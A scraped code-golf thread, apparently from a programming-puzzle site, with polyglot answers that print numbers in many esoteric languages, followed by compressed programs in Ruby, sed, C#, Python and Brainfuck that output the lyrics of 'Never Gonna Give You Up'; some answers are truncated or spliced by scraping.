bytes)\n```\n#v;2^0;7||\"<+0+0+0+<*!2'!1'L#'1r'4;n4\n#v0#_q@\n#>3N.15o|1\n#|\\w*\n#8 ^1b0<\n#|\n#M`\nprint ((0 and'13')or(None and 9 or 1/2 and 1 or 5))\n#jd5ki2\n```\nNote: there is an `ESC` after `o` in the third line and after `j` in the last line\nThis prints **1** in Python **3**, **2** in Vim, **3** in Minkolang, **4** in <><, **5** in Python **2**, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl, **10** in Befunge, **11** in Befunge-**98**, **12** in Fission, **13** in Ruby, **14** in turtleÃÄd, and **15** in Haystack.\n[Try it online!](https://tio.run/nexus/haystack#HcdBDoIwEADA@36By@IeWjDRbqFRU2J8gPICA2rwgCatNgYv/TsKmdOMNFjdKLuJcVEt1azKUy1SFkcSHERpXQk0KGrfB6B9Ua/Y@CQyUDx/c6AtYsM3Vf0PdLrAK/Tug1IqvLpOcCEyH2Tt3X067tAH5LWew1NMlgE9ks48ez2OPw \"Haystack ‚Äì TIO Nexus\")\n### Explanation\n```\n#v go down\n v\n > go right\n 3N. does nothing important\n 15o| outputs 15 and ends program\n there is an after 'o' since 'o' in Vim enters insert mode\n 1 I added this to satisfy Retina\n```\n[Answer]\n# 9. Perl, 84 bytes\n```\n#v;7||\"<+0+0+0+<;n4\n#>3N.\n#|\\w*\n#8\n#|\n#M`\nprint(None and 9or 1/2and 1or 5)\n#j‚êõd5ki2\n```\nThere's a literal ESC character in the actual code between the `j` and `d`; it has been replaced with a ‚êõ here for visibility.\nThis prints [**1** in Python 3](https://tio.run/nexus/python3#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), **2** in Vim (tested locally, but [here's](https://tio.run/nexus/v#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A) a link for the very similar language V), [**3** in Minkolang](https://tio.run/nexus/minkolang#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**4** in <><](https://tio.run/nexus/fish#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**5** in Python 2](https://tio.run/nexus/python2#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**6** in SMBF](https://tio.run/nexus/smbf#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**7** in Japt](http://ethproductions.github.io/japt/?v=master&code=I3Y7N3x8IjwrMCswKzArPDtuNAojPjNOLgojfFx3KgojOAojfAoKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiMbamQ1a2ky&input=), [**8** in Retina](https://tio.run/nexus/retina#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), and [**9** in Perl](https://tio.run/nexus/perl#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A).\nLet's get some more exoteric languages in, via abusing arithmetic that works differently in different languages. (`None` is falsey in Python but truthy in Perl, and `and`/`or` chains work the same way in both languages.)\nApart from Python, I also had to change the vim code. Instead of making it into a series of no-ops, I just let it insert junk, then deleted the junk again at the end.\n[Answer]\n# 6. [SMBF](https://esolangs.org/wiki/Self-modifying_Brainfuck), 45 bytes\n```\n#v<++++<;n4\n#>3N.\nprint('1'if 1/2else'5')\n#i2\n```\n[**Try it online**](http://smbf.tryitonline.net/#code=I3Y8KysrKzw7bjQKIz4zTi4KcHJpbnQoJzEnaWYgMS8yZWxzZSc1JykKI2ky&input=)\nThis program prints **1** in Python 3, **2** in V, **3** in Minkolang v0.15, **4** in ><>, **5** in Python 2, and **6** in SMBF.\nSMBF (aka Self-modifying Brainfuck) uses `<++++<>.`. The pointer is moved left (to the last character of the source code), and the cell is incremented four times then printed.\n[Answer]\n# 13. Ruby (129 bytes)\n```\n#v;2^0;7||\"<+0+0+0+<*!2'!1'L;n4\n#v0#_q@\n#>3N.\n#|\\w*\n#8 ^1b0<\n#|\n#M`\nprint ((0 and'13')or(None and 9 or 1/2 and 1 or 5))\n#jd5ki2\n```\nPlease note the literal `Esc` character on the last line between the `j` and `d`, as per [ais523](https://codegolf.stackexchange.com/users/62131/ais523)'s Perl answer.\n[Try it online!](https://tio.run/#M2DmR)\nThis prints **1** in Python 3, **2** in Vim, **3** in Minkolang, **4** in <><, **5** in Python 2, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl, **10** in Befunge, **11** in Befunge-98, **12** in Fission and **13** in Ruby.\nJust a minor modification to the existing `print` statement to abuse the fact that `0` is truthy in Ruby. I had to add some spaces to the other statements to make it parse correctly.\n[Answer]\n# 16. Pyth (159 bytes)\n```\n#v\\;2^0\\;7||\"<+0+0+0+<*!2'!1'L#'1r'4;n4\n#v0#_q@\n#>3N.15o|1\n#|\\w*\n#8 ^<1b0 <\n#|\n#M`\nprint ((0 and'13')or(None and 9 or 1/2 and 1 or 5))\n#\"07|5//00;16 \"jd5ki2\n```\n**Note:** there is an `ESC` byte (`0x1B`) after the `o` in the third line and after the `j` in the last line.\nThis was quite a fun experience. Japt and Pyth are both golfy languages, but Japt is infix and Pyth is prefix, and Pyth auto-requests input and fails if arguments are missing.\nBefore the Haystack answer I had an almost-working solution using `#`, which gets a char code in Japt and loop-until-error in Pyth. Pyth happens to be very useful in polyglots, since the common comment char `#` essentially works as an error silencer.\nWhen I got home I managed to find a this piece of code that worked in both using `//`, which works as a comment in Japt and two divisions in Pyth. Then it was just a matter of getting the Befunges to route correctly.\nThis is very unlikely to be optimal, but it's good enough for now. I tried to test them all, but I'd highly appreciate someone double checking that the outputs match.\nPrints [1 in Python 3](https://tio.run/nexus/python3#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [2 in V](https://tio.run/nexus/v#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [3 in Minkolang](https://tio.run/nexus/minkolang#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [4 in ><>](https://tio.run/nexus/fish#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [5 in Python 2](https://tio.run/nexus/python2#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [6 in Self-Modifying Brainfuck](https://tio.run/nexus/smbf#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [7 in Japt](http://ethproductions.github.io/japt/?v=master&code=I3ZcOzJeMFw7N3x8IjwrMCswKzArPCohMichMSdMIycxcic0O240CiN2MCNfcUAKIz4zTi4xNW8bfDEKI3xcdyoKIzggIF48MWIwIDwKI3wKI01gCnByaW50ICgoMCBhbmQnMTMnKW9yKE5vbmUgYW5kIDkgb3IgMS8yIGFuZCAxIG9yIDUpKQojIjA3fDUvLzAwOzE2ICJqG2Q1a2ky&input=), [8 in Retina](https://tio.run/nexus/retina#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [9 in Perl](https://tio.run/nexus/perl#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [10 in Befunge(-93)](https://tio.run/nexus/befunge#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [11 in Befunge-98](https://tio.run/nexus/befunge-98#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [12 in Fission](https://tio.run/nexus/fission#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [13 in Ruby](https://tio.run/nexus/ruby#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [14 in Turtl√©d](https://tio.run/nexus/turtled#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [15 in Haystack](https://tio.run/#IJnm9), and\n**[16 in Pyth](https://tio.run/nexus/pyth#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf)**.\n### Explanation\nWhat Pyth sees here is:\n```\n#v\\;2^0\\;7||\"string\nmultiline\nstring\"07|5//00;16 \"string\n```\nThis translates to the following pseudocode:\n```\nwhile no errors occur:\n evaluate \";\"\n print 2\n print 0 to the power \";\"\n print 7\n print \"string\\nmultiline\\nstring\" or 0 or 7\n print 5 or 0 divided by 0 divided by (missing)\nprint 16\ndo nothing with \"string\"\n```\nThe first loop exits on trying to evaluate `;` which isn't a valid expression. Then Pyth just prints `16`.\n]"}}},{"rowIdx":19,"cells":{"text":{"kind":"string","value":"[Question]\n [\nWrite the shortest program that prints the entire [lyrics of \"Never Gonna Give You Up\"](http://pastebin.com/wwvdjvEj) by Rick Astley.\nRules:\n* Must output the lyrics exactly as they appear in the above pastebin\\*. Here's the raw dump: \n* Cannot rely on any external resources - all lyrics must be generated by / embedded in code.\n* No use of existing compression algorithms (e.g. gzip / bzip2) unless you include the full algorithm in your code.\n* Use any language, shortest code wins.\nUpdate, 1st June 2012: \nFor solutions containing non-ASCII text, the size of your solution will be counted in bytes, based on UTF-8 encoding. If you use codepoints that cannot be encoded in UTF-8, your solution will not be judged as valid.\nUpdate, 7th June 2012: \nThank you all for your awesome solutions! I'll be accepting the shortest answer tomorrow afternoon. Right now, [Peter Taylor's GolfScript answer](https://codegolf.stackexchange.com/questions/6043/were-no-strangers-to-code-golf-you-know-the-rules-and-so-do-i/11549#11549) is winning, so get cracking on some improvements if you want to beat him! :)\n\\*There is a typo in the Pastebin (line 46, \"know\" should be \"known\"). You may either replicate it or not at your discretion.\n \n[Answer]\n# Ruby 576 557 556 (552) chars && PHP 543 chars\nAnother search-and-replace solution. Note that this form of solution is essentially a Grammar-based Compression Code \nCheck out for a simple to understand compression example. \nI've written the substitution rules so that the starting character for each substitution is computed (they are in sequential ASCII order); it need not be present in the transition data.\n```\ni=44\ns=\"We; n7trangMsL8loT63Ke rules5s8d8I\nAJull commit4nt'sChatFKink: of6CHldn'tRetKisJromu=Msta=.|\nNg1Nlet? downNruncryNsayRoodbyeNtE< lie5hurt?|\nWe'T3n each@Jor s8lSg6r hear9pl7|\n$ justGanna @:1#otta 8uEerstaE/|\n5?9up5let9down5runFrouE=desert:58cry5sayAodbye5@F lie=hurt:|(Ooh)5?, nI>?\n(#4| how| know|ay it\n|make9|: | you|\nYou| $'m |FE |Anna |giJ|tell|Ko| to|the|iL |nd| a| w| s|eJr|ve| g|ng|'re\".split(\"|\").inject{|m,o|m.gsub((i+=1).chr,o)}.tr('&~#$',\"ADGI\")\n```\nI did not try optimizing the substitution rules in this one.\n## contest notes\nThe search-and-replace decompression scheme works well for this contest because most languages have pre-built routines that can do this. With such a small amount of text to be generated, complex decompression schemes do not seem to be feasible winners.\nI've used only ASCII text and also avoided using unprintable ASCII characters. With these restrictions, each character in your code can only represent up to a maximum of 6.6 bits of information; this is very different than to *real* compression techniques where you use all 8 bits. In some sense, it is not \"fair\" to compare to gzip/bzip2 code size because those algorithms will use all 8 bits. A fancier decompression algorithm may be possible if you can include traditionally unprintable ASCII in your strings AND each unprintable character is still written in your code as a single byte.\n## PHP Solution\n```\nu=Msta=.q\nNg1Nlet? downNruncryNsayRoodbyeNtE< lie5hurt?q\nWe'T3n each@Jor s8lSg6r hear9\n[Answer]\n**Whitespace - 33115 characters**\nStackExchange chomped my answer, here is the source: \nNot great... I think I may be able to shrink it down a bit though.\n(If you don't know what Whitespace is: [http://en.wikipedia.org/wiki/Whitespace\\_(programming\\_language)](http://en.wikipedia.org/wiki/Whitespace_%28programming_language%29))\n[Answer]\n## Bash / Sed, 705 650 588 582 chars\n**Logic**: \nThe basic idea is simple replacement. Instead of writing, for example, `Never gonna give you up\\nNever gonna let you down`, I write `Xgive you up\\nXlet you down` and replace all `X` with `Never gonna`. \nThis is achieved by running `sed` with a set of rules, in the form `s/X/Never gonna /g`. \nReplacements can be nested. For example, `Never gonna` is common, but so is `gonna` in other contexts. So I can use two rules: `s/Y/ gonna/g` and `s/X/NeverY/g`. \nWhen adding rules, parts of the song texts are replaced by single characters, so it gets shorter. The rules become longer, but if the string replaced is long and frequent, it's worth it. \nThe next step is to remove repetition from the `sed` commands themselves. The sequence `s/X/something/g` is quite repetitive. \nTo make it shorter, I change sed commands to look like `Xsomething`. Then I use `sed` to convert this into a normal `sed` command. The code `sed 's#.#s/&/#;s#$#/g;#` does it. \nThe final result is a `sed` command, whose arguments are generated by another `sed` command, in back-quotes. \nYou can find a more detailed explanation [in this link](http://www.youtube.com/watch?v=dQw4w9WgXcQ).\n**Code:**\n```\nsed \"`sed 's#.#s/&/#;s#$#/g#'<\n[Answer]\n## C# 879 816 789 characters\nFirst attempt at CodeGolf so definitely not a winner, pretty sure it is valid despite it's nastiness.\n```\nstring e=\"N£give, n£give\",f=\"(Give ! up)\",g=\"(Ooh)\",h=@\"I just wanna tell ! how I'm feeling\nGotta make ! understand\",i=\"(Ooh, give ! up)\",j=\"N£\",k=@\"We've known each other for so long\nYour heart's been aching but\nYou're too shy to say it\nInside we both know what's been going on\nWe know the game and we're gonna play it\",l=\"\",a=String.Join(\"\\n\"+j,l,\"give ! up\",\"let ! down\",\"run around and desert !\",\"make ! cry\",\"say goodbye\",\"tell a lie and hurt !\"),b=String.Join(\"\\n\",@\"We're no strangers to love\nYou know the rules and so do I\nA full commitment's what I'm thinking of\nYou wouldn't get this from any other guy\",h,a,l,k,@\"And if ! ask me how I'm feeling\nDon't tell me !'re too blind to see\",a,a,l,i,i,g,e,f,g,e,f,l,k,l,h,a,a,a).Replace(\"!\",\"you\").Replace(\"£\",\"ever gonna \");\n```\n[Answer]\n## Python, ~~597~~ 589 bytes\nIt may be possible to squeeze out another couple of bytes:\n```\nd=\"\"\"ellU wTay it\nS otherRConna Qmake4 PveMndL aK'reJingHt's beenFo E gC\n(OohB\nYouz txKL q know9\nN28 how I'm feelH\n7iM4 up66)B)8giM, n2giM\n(G5 you4\nI justTannaxU47Gotta PuLerstaL03eMrQ2\nWe'M9n eachR for sElongzr hearFKchH butzJxoEshyxEsSInsideTe both9ThaFCoH on\nWe9xheCameqweJQplS1\n8g68let4 down8runKrouLqdesert48Pcry8sayCoodbye8tUK lieqhurt40WeJ nEstrangersxEloMz9xhe rulesqsEdEI\nA full commitment'sThat I'mxhinkH ofzTouldn'tCetxhis fromKnyRCuy31AL if4Ksk me7Don'txU me4JxoEbliLxEsee00\nB,C6)B,C556)1300\"\"\"\nfor s in'UTSRQPMLKJHFECBzxq9876543210':a,b=d.split(s,1);d=b.replace(s,a)\nprint d\n```\n[Answer]\n# BrainFuck - 9905\n```\n++++++++++[>+>+++>++++>+++++++>+++++++++>++++++++++>+++++++++++>++++++\n+++++>++++++++++++<<<<<<<<<-]>>>>>---.>+.<<<-.>>>>>++++.<<.<<<<++.>>>>\n>.+.<<<<<.>>>>>>+.+.--.<<----.>-.<++++++.--.>>.+.<<<<<<.>>>>>>+.<+.<<<\n<<.>>>>>---.+++.>++.<<.<<<<<.>>>>++.>>.>-.<<<<<<.>>>>>----.+++.+.>>-.<\n<<<<<<.>>>>>>-.<<+++.---.<<<<.>>>>>>--.+++.<---.<.>>--.<<<<<<.>>>>----\n.>++.<+++.<<<<.>>>>>>.<+.<<<<<.>>>>.>.<<<<<.>>+++.<<<.>>>--------.<<.>\n>>>++.>>++.<---..<<<<<.>>>>---.>+++.--..<++++++.>>-.<.<----.>+.>.<<<<<\n.>>>>>-.<<<<<<.>>>>>>>.<<<+++.-------.>>+.<<<<<<.>>++++++++.<.>>>>-.<<\n<<<.>>>>>>.<<+++++++.+.>+.---.<.>+++.<--.<<<<.>>>>>+.<-.<<<<<.>>>>.>>.\n>+.<<<<<<.>>>>>>>.<<.>.<---.<--.>++.<<<<.>>>>>-.<<<<<<.>>>>+++.--.>>.<\n<<<<<.>>>>>>.<<+++.+.>>-.<<<<<<.>>>>---.>>-.<+.--.<<<<<.>>>>-----.>+.>\n>++.<<<<<<<.>>>>>+.>++.<<+++++++.---.>>--.<<<<<<.>>>>++.>>+++.>.<<<<<<\n<<.>>>.<<.>>>>>-----.>.--.+.<<<<<<.>>>>>>>--.<<<------.>++++..<.<<<<.>\n>>>>>.<<++++.>--..<<<<<.>>>>>>>++.<<+++.>+.<<<<<<.>>>>+++.>.>>--.<<<<<\n<<.>>.<.>>>>--.<<<<<.>>>>--.-..>-.<++++.>++.<--.<<<<<.>>>--.>>>+.>-..<\n<------.<<<<.>>>>>--.<.>--.<++++.<<<<.>>>>>>>++.<<++++.>+.<<<<<<.>>>>>\n>.<-.<-.+.>>---.+.+.<<----.>.<+++.<<<<<..>>>+++++++.>>+.>>++.<<.>>----\n.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<<.>>>\n>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++\n.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<+++.>+.<<<<<<.\n>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>>++.>+.-..<---\n---.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<<<<.>>>>---.>.\n<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.<<<<<<<.>>>.>>\n.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.>--.<++++.<<<<\n.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.>>++.>>++++.<<\n.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<<<<<<<.>>>>+++\n+++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.<<<<<<.>>>>++.\n>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<<<.>>>>>.<++++\n++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.++.<<<<<<.>>>>>\n>>.<<+.>+.<<<<<<<..>>>>--.>---.<<<.>>>>>+.<<.<<<<.>>>>>----.+++.+.>>--\n.<<-.<<<<<.>>>>.----.++.+++++.<<<<.>>>>>+.>--.<<.---.>>--.<<<<<<.>>>>+\n.>.>.<<<<<<.>>>>>>+.<.<<<<<.>>>>>---.+++.-.<+.<<<<<.>>>>++.>>+.>++.---\n.<<<<<<.>>>>+.---.----.>>.++.<<<<<.>>>>>-.<<<<<<.>>>>+.+++..>-.<<<<<.>\n>>>----.++.+++++.+.>.<--.<<<<.>>>>-----.>>++.-.<<<<<<<.>>>>.>>+.>+.<<<\n<<.>>>>>---.<<+++.<<<<.>>>>>>++.<..<<<<<.>>>>>>-.<<+++.>>>++.<<<<<<<.>\n>>>>>+.<.<<<<<.>>>>>>-.<<-------.>>>.<<<<<<<.>>>>++++++++.>>+.<<<<<<<.\n>>>-----.>>>-.>-.<<.-----.+.<<<<.>>>>>>>--.<<<.<<<<.>>>>---.>+.>+.<<++\n++++.<<<<.>>>>>----.+++.+.>>.<<<<<<<.>>>>>>>.<<<.-------.>>.<<<<<.>>>>\n>-.<<<<<<.>>>>+.+++..>-.<<<<<.>>>>++.>+.<++.>-.<--.<<<<.>>>>>+.-.<<<<<\n<.>>>>--.>--.<<<<.>>>>>---.+++.+.>>.<<<<<<<.>>>>>>+.<<+++.---.<<<<.>>>\n>++.------.>--.<++++.<<<<.>>>>----.>+.<+++.<<<<.>>>>>>>.<<<+.<<<.>>>>>\n--.<<.<<<<.>>>>++.>+.-..<------.<<<<.>>>>>++.----.<.>>>++.<<<<<<<.>>>>\n++++++++.>>++.<<<<<<<.>>>--------.>>>++.<-----.<<<<.>>>>+++++.---.<<<<\n.>>>>>>>.<<+.>+.<<<<<<.>>>>-----.>>--.<----.<<<<<.>>>>>++.<++++.<<<<.>\n>>>+++.>++.>>--.<<<<<<<.>>++++++++.<.>>>>--.<<<<<.>>>>--.-..>-.<++++.>\n++.<--.<<<<<.>>>-----.>>>+.-.<<<<.>>>>>+.<<<<<<.>>>>>>.<<--.>--..<<<<<\n.>>>>>+.<.<<<<.>>>>>>>++.<<++.>+.<<<<<.>>>>>---.<<.<<<<.>>>>>>++.<..<<\n<<<.>>>>---.>---.<+++++++.>++.<-----.<<<<.>>>>>>.<+.<<<<<.>>>>>>-.<<+.\n.<<<<<..>>>++++++++++.>>.>>+++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<\n<<.>>>>++++++.++.>>++++.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<\n<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++\n++.>>++.<<<<<<.>>>>>>>.<<+++.>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+\n.>>+.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>\n>.>>---.<+.>+++.<-.<+++.<<<<.>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++\n.<<<<<<.>>>>>>>++.<<+.>+.<<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.\n-..<------.<<<<.>>>>>-.<.>--.<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>\n>--.>>---.>.<<<<<<<<.>>>.>>++.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<---\n---.<<<<.>>>>>>+.<<.>>>.<<<<<<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<\n<.>>>.>>.>>+++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++\n++.>--..<<<<<.>>>>----.<<<<.>>>>>.<++++++++.----.<<<<.>>>>----.>++.<++\n+.<<<<.>>>>++++.>>+.---.++.<<<<<<.>>>>>>>.<<+.>+.<<<<<<<..>>>.>>---.>>\n+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>++++++.++.>>++++.<<---\n-.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----.<<<\n<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<+++.\n>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>>++.\n>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<<<<.\n>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.<<<<\n<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.>--.\n<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.>>++\n.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<<<<<\n<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.<<<<\n<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<<<.>\n>>>>.<++++++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.++.<<\n<<<<.>>>>>>>.<<+.>+.<<<<<<<..>>+.>+.>>>.<.<<<++++.<.>>>>-.++.>>+.<<---\n-.<<<<.>>>>>>>.<<.>-.<<<<<<.>>>>>>.<+.<<<<---.<<.>>-.>.>>>-.<+++.<<<++\n++.<.>>>>-.++.>>+.<<----.<<<<.>>>>>>>.<<.>-.<<<<<<.>>>>>>.<+.<<<<---.<\n<.>>-.>.>>>-.<+++.<<<+.<<.>>>-.>>---.>>+.<<.>>----.<<<<<<.>>>>++.>.-..\n<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<+++.<.>>>>>.<.>>.<<.>>----\n.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<<<.>>\n----.>-------.>>++++.>>.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<\n<<+.<<.>>-.>++++++++.>>>-.<+++.<<<+.<<.>>>-.>>---.>>+.<<.>>----.<<<<<<\n.>>>>++.>.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<+++.<.>>>>>.<\n.>>.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>+